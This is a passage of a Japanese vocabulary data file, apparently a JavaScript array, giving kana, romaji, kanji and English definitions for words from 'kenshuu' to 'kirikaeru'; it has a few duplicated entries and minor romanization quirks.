prizes;winning;reward\"\n\t},\n\n\t{\n\t\t'kana':'けんしゅう',\n\t\t'romaji':'kenshuu',\n\t\t'kanji':'研修',\n\t\t'definition':\"training\"\n\t},\n\n\t{\n\t\t'kana':'けんそん',\n\t\t'romaji':'kenson',\n\t\t'kanji':'謙遜',\n\t\t'definition':\"humble;humility;modesty\"\n\t},\n\n\t{\n\t\t'kana':'けんとう',\n\t\t'romaji':'kentou',\n\t\t'kanji':'検討',\n\t\t'definition':\"consideration;examination;investigation;study;scrutiny\"\n\t},\n\n\t{\n\t\t'kana':'けんとう',\n\t\t'romaji':'kentou',\n\t\t'kanji':'見当',\n\t\t'definition':\"be found;aim;mark;estimate;guess;approx;direction\"\n\t},\n\n\t{\n\t\t'kana':'けんやく',\n\t\t'romaji':'kenyaku',\n\t\t'kanji':'倹約',\n\t\t'definition':\"thrift;economy;frugality\"\n\t},\n\n\t{\n\t\t'kana':'けんよう',\n\t\t'romaji':'kenyou',\n\t\t'kanji':'兼用',\n\t\t'definition':\"multi-use;combined use;combination;serving two purposes\"\n\t},\n\n\t{\n\t\t'kana':'けんざい',\n\t\t'romaji':'kenzai',\n\t\t'kanji':'健在',\n\t\t'definition':\"in good health;well\"\n\t},\n\n\t{\n\t\t'kana':'けんぜん',\n\t\t'romaji':'kenzen',\n\t\t'kanji':'健全',\n\t\t'definition':\"health;soundness;wholesome\"\n\t},\n\n\t{\n\t\t'kana':'けらい',\n\t\t'romaji':'kerai',\n\t\t'kanji':'家来',\n\t\t'definition':\"retainer;retinue;servant\"\n\t},\n\n\t{\n\t\t'kana':'けれど',\n\t\t'romaji':'keredo',\n\t\t'kanji':'',\n\t\t'definition':\"but;however\"\n\t},\n\n\t{\n\t\t'kana':'ける',\n\t\t'romaji':'keru',\n\t\t'kanji':'蹴る',\n\t\t'definition':\"to kick\"\n\t},\n\n\t{\n\t\t'kana':'けさ',\n\t\t'romaji':'kesa',\n\t\t'kanji':'今朝',\n\t\t'definition':\"this morning\"\n\t},\n\n\t{\n\t\t'kana':'けしゴム',\n\t\t'romaji':'keshigomu',\n\t\t'kanji':'消しゴム',\n\t\t'definition':\"eraser;India rubber\"\n\t},\n\n\t{\n\t\t'kana':'けしき',\n\t\t'romaji':'keshiki',\n\t\t'kanji':'景色',\n\t\t'definition':\"scenery;scene;landscape\"\n\t},\n\n\t{\n\t\t'kana':'けっしょう',\n\t\t'romaji':'keshou',\n\t\t'kanji':'結晶',\n\t\t'definition':\"crystal;crystallization\"\n\t},\n\n\t{\n\t\t'kana':'けっしょう',\n\t\t'romaji':'keshou',\n\t\t'kanji':'決勝',\n\t\t'definition':\"decision of a contest;finals (in sports)\"\n\t},\n\n\t{\n\t\t'kana':'けしょう',\n\t\t'romaji':'keshou',\n\t\t'kanji':'化粧',\n\t\t'definition':\"make-up (cosmetic)\"\n\t},\n\n\t{\n\t\t'kana':'けっさく',\n\t\t'romaji':'kessaku',\n\t\t'kanji':'傑作',\n\t\t'definition':\"masterpiece;best work;boner;blunder\"\n\t},\n\n\t{\n\t\t'kana':'けっさん',\n\t\t'romaji':'kessan',\n\t\t'kanji':'決算',\n\t\t'definition':\"balance sheet;settlement of accounts\"\n\t},\n\n\t{\n\t\t'kana':'けっせい',\n\t\t'romaji':'kessei',\n\t\t'kanji':'結成',\n\t\t'definition':\"formation\"\n\t},\n\n\t{\n\t\t'kana':'けっせき',\n\t\t'romaji':'kesseki',\n\t\t'kanji':'欠席',\n\t\t'definition':\"absence;non-attendance\"\n\t},\n\n\t{\n\t\t'kana':'けっしん',\n\t\t'romaji':'kesshin',\n\t\t'kanji':'決心',\n\t\t'definition':\"determination;resolution\"\n\t},\n\n\t{\n\t\t'kana':'けっして',\n\t\t'romaji':'kesshite',\n\t\t'kanji':'決して',\n\t\t'definition':\"never;by no means\"\n\t},\n\n\t{\n\t\t'kana':'けっそく',\n\t\t'romaji':'kessoku',\n\t\t'kanji':'結束',\n\t\t'definition':\"union;unity\"\n\t},\n\n\t{\n\t\t'kana':'けす',\n\t\t'romaji':'kesu',\n\t\t'kanji':'消す',\n\t\t'definition':\"to erase;to delete;to turn off power\"\n\t},\n\n\t{\n\t\t'kana':'ケース',\n\t\t'romaji':'ke-su',\n\t\t'kanji':'',\n\t\t'definition':\"case\"\n\t},\n\n\t{\n\t\t'kana':'ケース',\n\t\t'romaji':'ke-su',\n\t\t'kanji':'',\n\t\t'definition':\"case\"\n\t},\n\n\t{\n\t\t'kana':'けた',\n\t\t'romaji':'keta',\n\t\t'kanji':'桁',\n\t\t'definition':\"column;beam;digit\"\n\t},\n\n\t{\n\t\t'kana':'けとばす',\n\t\t'romaji':'ketobasu',\n\t\t'kanji':'蹴飛ばす',\n\t\t'definition':\"to kick away;to kick off;to kick (someone);to refuse;to reject\"\n\t},\n\n\t{\n\t\t'kana':'けつ',\n\t\t'romaji':'ketsu',\n\t\t'kanji':'傑',\n\t\t'definition':\"excellence\"\n\t},\n\n\t{\n\t\t'kana':'けつあつ',\n\t\t'romaji':'ketsuatsu',\n\t\t'kanji':'血圧',\n\t\t'definition':\"blood pressure\"\n\t},\n\n\t{\n\t\t'kana':'けつぼう',\n\t\t'romaji':'ketsubou',\n\t\t'kanji':'欠乏',\n\t\t'definition':\"want;shortage;famine\"\n\t},\n\n\t{\n\t\t'kana':'けつだん',\n\t\t'romaji':'ketsudan',\n\t\t'kanji':'決断',\n\t\t'definition':\"decision;determination\"\n\t},\n\n\t{\n\t\t'kana':'けつえき',\n\t\t'romaji':'ketsueki',\n\t\t'kanji':'血液',\n\t\t'definition':\"blood\"\n\t},\n\n\t{\n\t\t'kana':'けつぎ',\n\t\t'romaji':'ketsugi',\n\t\t'kanji':'決議',\n\t\t'definition':\"resolution;vote;decision\"\n\t},\n\n\t{\n\t\t'kana':'けつごう',\n\t\t'romaji':'ketsugou',\n\t\t'kanji':'結合',\n\t\t'definition':\"combination;union\"\n\t},\n\n\t{\n\t\t'kana':'けつい',\n\t\t'romaji':'ketsui',\n\t\t'kanji':'決意',\n\t\t'definition':\"decision;determination\"\n\t},\n\n\t{\n\t\t'kana':'けつろん',\n\t\t'romaji':'ketsuron',\n\t\t'kanji':'結論',\n\t\t'definition':\"conclusion\"\n\t},\n\n\t{\n\t\t'kana':'けってい',\n\t\t'romaji':'kettei',\n\t\t'kanji':'決定',\n\t\t'definition':\"decision;determination\"\n\t},\n\n\t{\n\t\t'kana':'けってん',\n\t\t'romaji':'ketten',\n\t\t'kanji':'欠点',\n\t\t'definition':\"faults;defect;weakness\"\n\t},\n\n\t{\n\t\t'kana':'けわしい',\n\t\t'romaji':'kewashii',\n\t\t'kanji':'険しい',\n\t\t'definition':\"inaccessible place;impregnable position;steep place;sharp eyes\"\n\t},\n\n\t{\n\t\t'kana':'けずる',\n\t\t'romaji':'kezuru',\n\t\t'kanji':'削る',\n\t\t'definition':\"to shave (wood or leather);to sharpen;to plane;to whittle;to pare;to scrape off;to crossout;to reduce;to curtail\"\n\t},\n\n\t{\n\t\t'kana':'き',\n\t\t'romaji':'ki',\n\t\t'kanji':'期',\n\t\t'definition':\"period;time\"\n\t},\n\n\t{\n\t\t'kana':'き',\n\t\t'romaji':'ki',\n\t\t'kanji':'生',\n\t\t'definition':\"pure;undiluted;raw;crude\"\n\t},\n\n\t{\n\t\t'kana':'き',\n\t\t'romaji':'ki',\n\t\t'kanji':'生',\n\t\t'definition':\"pure;undiluted;raw;crude\"\n\t},\n\n\t{\n\t\t'kana':'き',\n\t\t'romaji':'ki',\n\t\t'kanji':'気',\n\t\t'definition':\"spirit;mood\"\n\t},\n\n\t{\n\t\t'kana':'き',\n\t\t'romaji':'ki',\n\t\t'kanji':'木',\n\t\t'definition':\"tree;wood;timber\"\n\t},\n\n\t{\n\t\t'kana':'きあつ',\n\t\t'romaji':'kiatsu',\n\t\t'kanji':'気圧',\n\t\t'definition':\"atmospheric pressure\"\n\t},\n\n\t{\n\t\t'kana':'きばん',\n\t\t'romaji':'kiban',\n\t\t'kanji':'基盤',\n\t\t'definition':\"foundation;basis\"\n\t},\n\n\t{\n\t\t'kana':'きびしい',\n\t\t'romaji':'kibishii',\n\t\t'kanji':'厳しい',\n\t\t'definition':\"severe;strict;stern;austere;grave;solemn;majestic;intense (cold)\"\n\t},\n\n\t{\n\t\t'kana':'きぼ',\n\t\t'romaji':'kibo',\n\t\t'kanji':'規模',\n\t\t'definition':\"scale;scope;plan;structure\"\n\t},\n\n\t{\n\t\t'kana':'きぼう',\n\t\t'romaji':'kibou',\n\t\t'kanji':'希望',\n\t\t'definition':\"hope;wish;aspiration\"\n\t},\n\n\t{\n\t\t'kana':'きぶん',\n\t\t'romaji':'kibun',\n\t\t'kanji':'気分',\n\t\t'definition':\"feeling;mood\"\n\t},\n\n\t{\n\t\t'kana':'きっちり',\n\t\t'romaji':'kicchiri',\n\t\t'kanji':'',\n\t\t'definition':\"precisely;tightly\"\n\t},\n\n\t{\n\t\t'kana':'きち',\n\t\t'romaji':'kichi',\n\t\t'kanji':'基地',\n\t\t'definition':\"base\"\n\t},\n\n\t{\n\t\t'kana':'きちんと',\n\t\t'romaji':'kichinto',\n\t\t'kanji':'',\n\t\t'definition':\"precisely;accurately\"\n\t},\n\n\t{\n\t\t'kana':'きちっと',\n\t\t'romaji':'kichito',\n\t\t'kanji':'',\n\t\t'definition':\"exactly;perfectly\"\n\t},\n\n\t{\n\t\t'kana':'きちょう',\n\t\t'romaji':'kichou',\n\t\t'kanji':'貴重',\n\t\t'definition':\"precious;valuable\"\n\t},\n\n\t{\n\t\t'kana':'きちょうめん',\n\t\t'romaji':'kichoumen',\n\t\t'kanji':'几帳面',\n\t\t'definition':\"methodical;punctual;steady\"\n\t},\n\n\t{\n\t\t'kana':'きだて',\n\t\t'romaji':'kidate',\n\t\t'kanji':'気立て',\n\t\t'definition':\"disposition;nature\"\n\t},\n\n\t{\n\t\t'kana':'きどう',\n\t\t'romaji':'kidou',\n\t\t'kanji':'軌道',\n\t\t'definition':\"orbit;railroad track\"\n\t},\n\n\t{\n\t\t'kana':'きづく',\n\t\t'romaji':'kiduku',\n\t\t'kanji':'気付く',\n\t\t'definition':\"to notice;to become aware of;to perceive;to realize\"\n\t},\n\n\t{\n\t\t'kana':'きえる',\n\t\t'romaji':'kieru',\n\t\t'kanji':'消える',\n\t\t'definition':\"to go out;to vanish;to disappear\"\n\t},\n\n\t{\n\t\t'kana':'きふ',\n\t\t'romaji':'kifu',\n\t\t'kanji':'寄付',\n\t\t'definition':\"contribution;donation\"\n\t},\n\n\t{\n\t\t'kana':'きふく',\n\t\t'romaji':'kifuku',\n\t\t'kanji':'起伏',\n\t\t'definition':\"undulation\"\n\t},\n\n\t{\n\t\t'kana':'きふう',\n\t\t'romaji':'kifuu',\n\t\t'kanji':'気風',\n\t\t'definition':\"character;traits;ethos\"\n\t},\n\n\t{\n\t\t'kana':'きがい',\n\t\t'romaji':'kigai',\n\t\t'kanji':'危害',\n\t\t'definition':\"injury;harm;danger\"\n\t},\n\n\t{\n\t\t'kana':'きがね',\n\t\t'romaji':'kigane',\n\t\t'kanji':'気兼ね',\n\t\t'definition':\"hesitance;diffidence;feeling constraint;fear of troubling someone;having scruples about doing something\"\n\t},\n\n\t{\n\t\t'kana':'きがる',\n\t\t'romaji':'kigaru',\n\t\t'kanji':'気軽',\n\t\t'definition':\"cheerful;buoyant;lighthearted\"\n\t},\n\n\t{\n\t\t'kana':'きげき',\n\t\t'romaji':'kigeki',\n\t\t'kanji':'喜劇',\n\t\t'definition':\"comedy;funny show\"\n\t},\n\n\t{\n\t\t'kana':'きげん',\n\t\t'romaji':'kigen',\n\t\t'kanji':'機嫌',\n\t\t'definition':\"humour;temper;mood\"\n\t},\n\n\t{\n\t\t'kana':'きげん',\n\t\t'romaji':'kigen',\n\t\t'kanji':'期限',\n\t\t'definition':\"term;period\"\n\t},\n\n\t{\n\t\t'kana':'きげん',\n\t\t'romaji':'kigen',\n\t\t'kanji':'起源',\n\t\t'definition':\"origin;beginning;rise\"\n\t},\n\n\t{\n\t\t'kana':'きごう',\n\t\t'romaji':'kigou',\n\t\t'kanji':'記号',\n\t\t'definition':\"symbol;code\"\n\t},\n\n\t{\n\t\t'kana':'きぐ',\n\t\t'romaji':'kigu',\n\t\t'kanji':'器具',\n\t\t'definition':\"utensil\"\n\t},\n\n\t{\n\t\t'kana':'きぎょう',\n\t\t'romaji':'kigyou',\n\t\t'kanji':'企業',\n\t\t'definition':\"enterprise;undertaking\"\n\t},\n\n\t{\n\t\t'kana':'きはい',\n\t\t'romaji':'kihai',\n\t\t'kanji':'気配',\n\t\t'definition':\"indication;market trend;worry\"\n\t},\n\n\t{\n\t\t'kana':'きはん',\n\t\t'romaji':'kihan',\n\t\t'kanji':'規範',\n\t\t'definition':\"model;standard;pattern;norm;criterion;example\"\n\t},\n\n\t{\n\t\t'kana':'きひん',\n\t\t'romaji':'kihin',\n\t\t'kanji':'気品',\n\t\t'definition':\"aroma\"\n\t},\n\n\t{\n\t\t'kana':'きほん',\n\t\t'romaji':'kihon',\n\t\t'kanji':'基本',\n\t\t'definition':\"foundation;basis;standard\"\n\t},\n\n\t{\n\t\t'kana':'きいろい',\n\t\t'romaji':'kiiroi',\n\t\t'kanji':'黄色い',\n\t\t'definition':\"yellow\"\n\t},\n\n\t{\n\t\t'kana':'きじ',\n\t\t'romaji':'kiji',\n\t\t'kanji':'記事',\n\t\t'definition':\"article;news story;report;account\"\n\t},\n\n\t{\n\t\t'kana':'きじ',\n\t\t'romaji':'kiji',\n\t\t'kanji':'生地',\n\t\t'definition':\"cloth;material;texture;ones true character;unglazed pottery\"\n\t},\n\n\t{\n\t\t'kana':'きじつ',\n\t\t'romaji':'kijitsu',\n\t\t'kanji':'期日',\n\t\t'definition':\"fixed date;settlement date\"\n\t},\n\n\t{\n\t\t'kana':'きじゅん',\n\t\t'romaji':'kijyun',\n\t\t'kanji':'基準',\n\t\t'definition':\"standard;basis;criteria;norm\"\n\t},\n\n\t{\n\t\t'kana':'きじゅつ',\n\t\t'romaji':'kijyutsu',\n\t\t'kanji':'記述',\n\t\t'definition':\"describing;descriptor\"\n\t},\n\n\t{\n\t\t'kana':'きかえる',\n\t\t'romaji':'kikaeru',\n\t\t'kanji':'着替える',\n\t\t'definition':\"to change one's clothes\"\n\t},\n\n\t{\n\t\t'kana':'きかい',\n\t\t'romaji':'kikai',\n\t\t'kanji':'機械',\n\t\t'definition':\"machine;mechanism\"\n\t},\n\n\t{\n\t\t'kana':'きかい',\n\t\t'romaji':'kikai',\n\t\t'kanji':'機会',\n\t\t'definition':\"chance;opportunity\"\n\t},\n\n\t{\n\t\t'kana':'きかく',\n\t\t'romaji':'kikaku',\n\t\t'kanji':'規格',\n\t\t'definition':\"standard;norm\"\n\t},\n\n\t{\n\t\t'kana':'きかく',\n\t\t'romaji':'kikaku',\n\t\t'kanji':'企画',\n\t\t'definition':\"planning;project\"\n\t},\n\n\t{\n\t\t'kana':'きかん',\n\t\t'romaji':'kikan',\n\t\t'kanji':'機関',\n\t\t'definition':\"organ;mechanism;facility;engine\"\n\t},\n\n\t{\n\t\t'kana':'きかん',\n\t\t'romaji':'kikan',\n\t\t'kanji':'期間',\n\t\t'definition':\"period;term\"\n\t},\n\n\t{\n\t\t'kana':'きかん',\n\t\t'romaji':'kikan',\n\t\t'kanji':'季刊',\n\t\t'definition':\"quarterly (e.g. magazine)\"\n\t},\n\n\t{\n\t\t'kana':'きかん',\n\t\t'romaji':'kikan',\n\t\t'kanji':'器官',\n\t\t'definition':\"organ (of body);instrument\"\n\t},\n\n\t{\n\t\t'kana':'きかんしゃ',\n\t\t'romaji':'kikansha',\n\t\t'kanji':'機関車',\n\t\t'definition':\"locomotive;engine\"\n\t},\n\n\t{\n\t\t'kana':'きかざる',\n\t\t'romaji':'kikazaru',\n\t\t'kanji':'着飾る',\n\t\t'definition':\"to dress up\"\n\t},\n\n\t{\n\t\t'kana':'きけん',\n\t\t'romaji':'kiken',\n\t\t'kanji':'危険',\n\t\t'definition':\"danger;peril;hazard\"\n\t},\n\n\t{\n\t\t'kana':'きけん',\n\t\t'romaji':'kiken',\n\t\t'kanji':'棄権',\n\t\t'definition':\"abstain from voting;renunciation of a right\"\n\t},\n\n\t{\n\t\t'kana':'きき',\n\t\t'romaji':'kiki',\n\t\t'kanji':'危機',\n\t\t'definition':\"crisis\"\n\t},\n\n\t{\n\t\t'kana':'ききめ',\n\t\t'romaji':'kikime',\n\t\t'kanji':'効き目',\n\t\t'definition':\"effect;virtue;efficacy;impression\"\n\t},\n\n\t{\n\t\t'kana':'ききん',\n\t\t'romaji':'kikin',\n\t\t'kanji':'飢饉',\n\t\t'definition':\"famine\"\n\t},\n\n\t{\n\t\t'kana':'ききん',\n\t\t'romaji':'kikin',\n\t\t'kanji':'基金',\n\t\t'definition':\"fund;foundation\"\n\t},\n\n\t{\n\t\t'kana':'ききとり',\n\t\t'romaji':'kikitori',\n\t\t'kanji':'聞き取り',\n\t\t'definition':\"listening comprehension\"\n\t},\n\n\t{\n\t\t'kana':'きっかけ',\n\t\t'romaji':'kikkake',\n\t\t'kanji':'切っ掛け',\n\t\t'definition':\"chance;start;cue;excuse;motive;impetus;occasion\"\n\t},\n\n\t{\n\t\t'kana':'きっかり',\n\t\t'romaji':'kikkari',\n\t\t'kanji':'',\n\t\t'definition':\"exactly;precisely\"\n\t},\n\n\t{\n\t\t'kana':'きこえる',\n\t\t'romaji':'kikoeru',\n\t\t'kanji':'聞こえる',\n\t\t'definition':\"to be heard;to be audible\"\n\t},\n\n\t{\n\t\t'kana':'きこん',\n\t\t'romaji':'kikon',\n\t\t'kanji':'既婚',\n\t\t'definition':\"marriage;married\"\n\t},\n\n\t{\n\t\t'kana':'きこう',\n\t\t'romaji':'kikou',\n\t\t'kanji':'気候',\n\t\t'definition':\"climate\"\n\t},\n\n\t{\n\t\t'kana':'きこう',\n\t\t'romaji':'kikou',\n\t\t'kanji':'機構',\n\t\t'definition':\"mechanism;organization\"\n\t},\n\n\t{\n\t\t'kana':'きく',\n\t\t'romaji':'kiku',\n\t\t'kanji':'効く',\n\t\t'definition':\"to be effective\"\n\t},\n\n\t{\n\t\t'kana':'きく',\n\t\t'romaji':'kiku',\n\t\t'kanji':'聞く',\n\t\t'definition':\"to hear;to listen;to ask\"\n\t},\n\n\t{\n\t\t'kana':'ききょう',\n\t\t'romaji':'kikyou',\n\t\t'kanji':'帰京',\n\t\t'definition':\"returning to Tokyo\"\n\t},\n\n\t{\n\t\t'kana':'きまぐれ',\n\t\t'romaji':'kimagure',\n\t\t'kanji':'気まぐれ',\n\t\t'definition':\"whim;caprice;whimsy;fickle;moody;uneven temper\"\n\t},\n\n\t{\n\t\t'kana':'きまじめ',\n\t\t'romaji':'kimajime',\n\t\t'kanji':'生真面目',\n\t\t'definition':\"too serious;person who is too serious;honesty;sincerity\"\n\t},\n\n\t{\n\t\t'kana':'きまり',\n\t\t'romaji':'kimari',\n\t\t'kanji':'決まり',\n\t\t'definition':\"settlement;conclusion;regulation;rule;custom\"\n\t},\n\n\t{\n\t\t'kana':'きまりわるい',\n\t\t'romaji':'kimariwarui',\n\t\t'kanji':'決まり悪い',\n\t\t'definition':\"feeling awkward;being ashamed\"\n\t},\n\n\t{\n\t\t'kana':'きまる',\n\t\t'romaji':'kimaru',\n\t\t'kanji':'決まる',\n\t\t'definition':\"to be decided;to be settled;to look good in (clothes)\"\n\t},\n\n\t{\n\t\t'kana':'きまつ',\n\t\t'romaji':'kimatsu',\n\t\t'kanji':'期末',\n\t\t'definition':\"end of term\"\n\t},\n\n\t{\n\t\t'kana':'きめい',\n\t\t'romaji':'kimei',\n\t\t'kanji':'記名',\n\t\t'definition':\"signature;register\"\n\t},\n\n\t{\n\t\t'kana':'きめる',\n\t\t'romaji':'kimeru',\n\t\t'kanji':'決める',\n\t\t'definition':\"to decide\"\n\t},\n\n\t{\n\t\t'kana':'きみ',\n\t\t'romaji':'kimi',\n\t\t'kanji':'君',\n\t\t'definition':\"you (masc. term for female)\"\n\t},\n\n\t{\n\t\t'kana':'きみ',\n\t\t'romaji':'kimi',\n\t\t'kanji':'気味',\n\t\t'definition':\"sensation;feeling\"\n\t},\n\n\t{\n\t\t'kana':'きみ',\n\t\t'romaji':'kimi',\n\t\t'kanji':'気味',\n\t\t'definition':\"sensation;feeling\"\n\t},\n\n\t{\n\t\t'kana':'きみ',\n\t\t'romaji':'kimi',\n\t\t'kanji':'君',\n\t\t'definition':\"you (masc. term for female)\"\n\t},\n\n\t{\n\t\t'kana':'きもち',\n\t\t'romaji':'kimochi',\n\t\t'kanji':'気持ち',\n\t\t'definition':\"feeling;sensation;mood\"\n\t},\n\n\t{\n\t\t'kana':'きもの',\n\t\t'romaji':'kimono',\n\t\t'kanji':'着物',\n\t\t'definition':\"kimono\"\n\t},\n\n\t{\n\t\t'kana':'きみょう',\n\t\t'romaji':'kimyou',\n\t\t'kanji':'奇妙',\n\t\t'definition':\"strange;queer;curious\"\n\t},\n\n\t{\n\t\t'kana':'きん',\n\t\t'romaji':'kin',\n\t\t'kanji':'僅',\n\t\t'definition':\"a little;small quantity\"\n\t},\n\n\t{\n\t\t'kana':'きんべん',\n\t\t'romaji':'kinben',\n\t\t'kanji':'勤勉',\n\t\t'definition':\"industry;diligence\"\n\t},\n\n\t{\n\t\t'kana':'きんちょう',\n\t\t'romaji':'kinchou',\n\t\t'kanji':'緊張',\n\t\t'definition':\"tension;mental strain;nervousness\"\n\t},\n\n\t{\n\t\t'kana':'きんだい',\n\t\t'romaji':'kindai',\n\t\t'kanji':'近代',\n\t\t'definition':\"present day\"\n\t},\n\n\t{\n\t\t'kana':'きんえん',\n\t\t'romaji':'kinen',\n\t\t'kanji':'禁煙',\n\t\t'definition':\"No Smoking!\"\n\t},\n\n\t{\n\t\t'kana':'きねん',\n\t\t'romaji':'kinen',\n\t\t'kanji':'記念',\n\t\t'definition':\"commemoration;memory\"\n\t},\n\n\t{\n\t\t'kana':'きんがく',\n\t\t'romaji':'kingaku',\n\t\t'kanji':'金額',\n\t\t'definition':\"amount of money\"\n\t},\n\n\t{\n\t\t'kana':'きんがん',\n\t\t'romaji':'kingan',\n\t\t'kanji':'近眼',\n\t\t'definition':\"nearsightedness;shortsightedness;myopia\"\n\t},\n\n\t{\n\t\t'kana':'きんぎょ',\n\t\t'romaji':'kingyo',\n\t\t'kanji':'金魚',\n\t\t'definition':\"goldfish\"\n\t},\n\n\t{\n\t\t'kana':'きにいる',\n\t\t'romaji':'kiniiru',\n\t\t'kanji':'気に入る',\n\t\t'definition':\"to be pleased with;to suit\"\n\t},\n\n\t{\n\t\t'kana':'きんじる',\n\t\t'romaji':'kinjiru',\n\t\t'kanji':'禁じる',\n\t\t'definition':\"to prohibit\"\n\t},\n\n\t{\n\t\t'kana':'きんじょ',\n\t\t'romaji':'kinjyo',\n\t\t'kanji':'近所',\n\t\t'definition':\"neighbourhood\"\n\t},\n\n\t{\n\t\t'kana':'きんきん',\n\t\t'romaji':'kinkin',\n\t\t'kanji':'近々',\n\t\t'definition':\"nearness;before long\"\n\t},\n\n\t{\n\t\t'kana':'きんこう',\n\t\t'romaji':'kinkou',\n\t\t'kanji':'均衡',\n\t\t'definition':\"equilibrium;balance\"\n\t},\n\n\t{\n\t\t'kana':'きんこう',\n\t\t'romaji':'kinkou',\n\t\t'kanji':'近郊',\n\t\t'definition':\"suburbs;outskirts\"\n\t},\n\n\t{\n\t\t'kana':'きんきゅう',\n\t\t'romaji':'kinkyuu',\n\t\t'kanji':'緊急',\n\t\t'definition':\"urgent;pressing;emergency\"\n\t},\n\n\t{\n\t\t'kana':'きんもつ',\n\t\t'romaji':'kinmotsu',\n\t\t'kanji':'禁物',\n\t\t'definition':\"taboo;forbidden thing\"\n\t},\n\n\t{\n\t\t'kana':'きんむ',\n\t\t'romaji':'kinmu',\n\t\t'kanji':'勤務',\n\t\t'definition':\"service;duty;work\"\n\t},\n\n\t{\n\t\t'kana':'きんにく',\n\t\t'romaji':'kinniku',\n\t\t'kanji':'筋肉',\n\t\t'definition':\"muscle;sinew\"\n\t},\n\n\t{\n\t\t'kana':'きのどく',\n\t\t'romaji':'kinodoku',\n\t\t'kanji':'気の毒',\n\t\t'definition':\"pitiful;a pity\"\n\t},\n\n\t{\n\t\t'kana':'きのえ',\n\t\t'romaji':'kinoe',\n\t\t'kanji':'甲',\n\t\t'definition':\"1st in rank;first sign of the Chinese calendar;shell;instep;grade A\"\n\t},\n\n\t{\n\t\t'kana':'きのう',\n\t\t'romaji':'kinou',\n\t\t'kanji':'機能',\n\t\t'definition':\"function;faculty\"\n\t},\n\n\t{\n\t\t'kana':'きのう',\n\t\t'romaji':'kinou',\n\t\t'kanji':'昨日',\n\t\t'definition':\"yesterday\"\n\t},\n\n\t{\n\t\t'kana':'きんろう',\n\t\t'romaji':'kinrou',\n\t\t'kanji':'勤労',\n\t\t'definition':\"labor;exertion;diligent service\"\n\t},\n\n\t{\n\t\t'kana':'きんせん',\n\t\t'romaji':'kinsen',\n\t\t'kanji':'金銭',\n\t\t'definition':\"money;cash\"\n\t},\n\n\t{\n\t\t'kana':'きんし',\n\t\t'romaji':'kinshi',\n\t\t'kanji':'禁止',\n\t\t'definition':\"prohibition;ban\"\n\t},\n\n\t{\n\t\t'kana':'きんし',\n\t\t'romaji':'kinshi',\n\t\t'kanji':'近視',\n\t\t'definition':\"shortsightedness\"\n\t},\n\n\t{\n\t\t'kana':'きぬ',\n\t\t'romaji':'kinu',\n\t\t'kanji':'絹',\n\t\t'definition':\"silk\"\n\t},\n\n\t{\n\t\t'kana':'きんよう',\n\t\t'romaji':'kinyou',\n\t\t'kanji':'金曜',\n\t\t'definition':\"Friday\"\n\t},\n\n\t{\n\t\t'kana':'きんゆう',\n\t\t'romaji':'kinyuu',\n\t\t'kanji':'金融',\n\t\t'definition':\"monetary circulation;credit situation\"\n\t},\n\n\t{\n\t\t'kana':'きにゅう',\n\t\t'romaji':'kinyuu',\n\t\t'kanji':'記入',\n\t\t'definition':\"entry;filling in of forms\"\n\t},\n\n\t{\n\t\t'kana':'きんぞく',\n\t\t'romaji':'kinzoku',\n\t\t'kanji':'金属',\n\t\t'definition':\"metal\"\n\t},\n\n\t{\n\t\t'kana':'きんずる',\n\t\t'romaji':'kinzuru',\n\t\t'kanji':'禁ずる',\n\t\t'definition':\"to forbid;to suppress\"\n\t},\n\n\t{\n\t\t'kana':'きおく',\n\t\t'romaji':'kioku',\n\t\t'kanji':'記憶',\n\t\t'definition':\"memory;recollection;remembrance\"\n\t},\n\n\t{\n\t\t'kana':'きおん',\n\t\t'romaji':'kion',\n\t\t'kanji':'気温',\n\t\t'definition':\"temperature\"\n\t},\n\n\t{\n\t\t'kana':'きっぱり',\n\t\t'romaji':'kippari',\n\t\t'kanji':'',\n\t\t'definition':\"clearly;plainly;distinctly\"\n\t},\n\n\t{\n\t\t'kana':'きっぷ',\n\t\t'romaji':'kipu',\n\t\t'kanji':'切符',\n\t\t'definition':\"ticket\"\n\t},\n\n\t{\n\t\t'kana':'きらびやか',\n\t\t'romaji':'kirabiyaka',\n\t\t'kanji':'煌びやか',\n\t\t'definition':\"gorgeous;gaudy;dazzling;gay\"\n\t},\n\n\t{\n\t\t'kana':'きらい',\n\t\t'romaji':'kirai',\n\t\t'kanji':'嫌い',\n\t\t'definition':\"dislike;hate\"\n\t},\n\n\t{\n\t\t'kana':'きらく',\n\t\t'romaji':'kiraku',\n\t\t'kanji':'気楽',\n\t\t'definition':\"at ease;comfortable\"\n\t},\n\n\t{\n\t\t'kana':'きらう',\n\t\t'romaji':'kirau',\n\t\t'kanji':'嫌う',\n\t\t'definition':\"to hate;to dislike;to loathe\"\n\t},\n\n\t{\n\t\t'kana':'きれい',\n\t\t'romaji':'kirei',\n\t\t'kanji':'奇麗',\n\t\t'definition':\"pretty;clean;nice;tidy;beautiful;fair\"\n\t},\n\n\t{\n\t\t'kana':'きれめ',\n\t\t'romaji':'kireme',\n\t\t'kanji':'切れ目',\n\t\t'definition':\"break;pause;gap;end;rift;interruption;cut;section;notch;incision;end (of a task)\"\n\t},\n\n\t{\n\t\t'kana':'きれる',\n\t\t'romaji':'kireru',\n\t\t'kanji':'切れる',\n\t\t'definition':\"to cut well;to be sharp;to break;to snap;to wear out;to be injured;to burst;to collapse;to break off;to be disconnected;to be out of;to expire;to sever (connections) with;sharp;shrewd;less than\"\n\t},\n\n\t{\n\t\t'kana':'きり',\n\t\t'romaji':'kiri',\n\t\t'kanji':'桐',\n\t\t'definition':\"paulownia tree\"\n\t},\n\n\t{\n\t\t'kana':'きり',\n\t\t'romaji':'kiri',\n\t\t'kanji':'霧',\n\t\t'definition':\"fog;mist\"\n\t},\n\n\t{\n\t\t'kana':'きり',\n\t\t'romaji':'kiri',\n\t\t'kanji':'切り',\n\t\t'definition':\"limits;end;bounds;period;place to leave off;closing sentence;all there is;only;since\"\n\t},\n\n\t{\n\t\t'kana':'きりかえる',\n\t\t'romaji':'kirikaeru',\n\t\t'kanji':'切り替える',\n\t\t'definition':\"to change;to exchange;to convert;to renew;to throw a switch;to replace;to switch 